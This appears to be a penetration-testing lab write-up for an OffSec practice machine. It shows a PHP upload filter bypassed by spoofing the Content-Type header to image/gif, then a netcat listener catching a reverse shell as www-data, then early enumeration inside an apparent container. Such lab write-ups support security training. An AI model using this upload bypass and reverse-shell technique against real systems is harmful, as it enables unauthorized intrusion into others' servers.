Arbitrary File Upload
The web application on the target port 8080 has a hidden endpoint, /dev/, that is built on PHP and supports file upload with a limit to GIF files only.
File Upload Filter Bypass
Uploading a sample JPG file fails.
This confirms the presence of file upload filter
Additionally, the file size appears to be capped to 100KB
Changing the extension to .gif still fails
However, changing the Content-Type header to image/gif works
It also reveals the uploading directory; /uploads
Changing the extension to .php with the Content-Type header set to image/gif still works
This suggests that the file upload filter is only checking the Content-Type header
Exploitation
Changing the Content-Type header value to image/gif
Successfully uploaded the payload
Triggering the payload
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/escape_offsec]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.153] from (UNKNOWN) [192.168.122.113] 58286
SOCKET: Shell has connected! PID: 114
whoami
www-data
hostname
a7c367c2113dInitial Foothold established to the a7c367c2113d host as the www-data account by leveraging an arbitrary file upload vulnerability to achieve remote code execution (RCE).
ip a
bash: line 3: ip: command not found
ifconfig
bash: line 4: ifconfig: command not found
/sbin/ifconfig
bash: line 5: /sbin/ifconfig: No such file or directory
/sbin/ip a
bash: line 6: /sbin/ip: No such file or directoryNotably, standard network-related commands appear to be unavailable, which strongly suggests that the compromised environment may be operating within a containerized environment, imposing certain restrictions on system capabilities. Further enumeration is required to determine the exact nature of the host and assess potential breakout opportunities.